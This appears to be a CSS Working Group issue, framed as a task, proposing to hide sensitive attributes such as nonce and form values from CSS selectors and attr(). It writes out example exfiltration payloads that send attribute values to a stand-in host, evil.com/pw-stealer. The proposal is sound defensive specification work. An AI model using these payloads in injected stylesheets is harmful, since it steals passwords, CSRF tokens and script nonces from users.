[selectors][css-values] Hide "sensitive" attributes from CSS

For a long time, data-exfiltration attacks have been possible using CSS attribute selectors; with careful use of a streaming stylesheet, an attacker can start with input[value^="a"]{background-image:url(https://evil.com/pw-stealer?prefix=a);} (etc for b-z), then based on that result, stream in another set like [value^="ha"], [value^="hb"], etc, and eventually steal the entire attribute value.

This can be used to get script nonces from a page, csrf tokens from a form, and in some DOM libraries that live-reflect input values into the value attribute, can steal usernames and passwords as well.

We have plans to introduce a url() variant that can take functions in its value, a concat() function for joining strings together, and now have a more powerful attr() function that can be used anywhere to fetch the value of an attribute. Combined, these would make the exfiltration attacks trivial; slipping in a simple style="background-image: fetch(concat("https://evil.com/pw-stealer?pw=", attr(value string)));" would grab the attribute in one go, no cleverness required beyond the initial CSS injection.

Since "concat a URL fragment with an attr value" is actually one of the main use-cases for the concat() function, it would be unfortunate to lose that entirely. And doing so wouldn't stop the more complex exfiltration outlined at the start of this message anyway.

@mikewest, in https://groups.google.com/a/chromium.org/d/msg/blink-dev/FGCgsKmylhw/A1vw2xREAgAJ, suggests hiding "sensitive" attributes from CSS entirely: nonce, value on a form control, possibly others. They wouldn't be matchable with attribute selectors, or allow their value to be extracted with attr().

This seems completely reasonable to me; there's no reasonable use-case for nonce to be usable in CSS, and the use-cases for extracting value (displaying in an error message displayed in a ::before?) are weak enough that I'm happy to remove that.

Thoughts?

No implementation files or tests are named. Start by reviewing the CSS attribute-selector, nonce, value, and attr() behavior described in the issue and its discussion; done means the Working Group reaches a concrete scope and records the resulting specification change.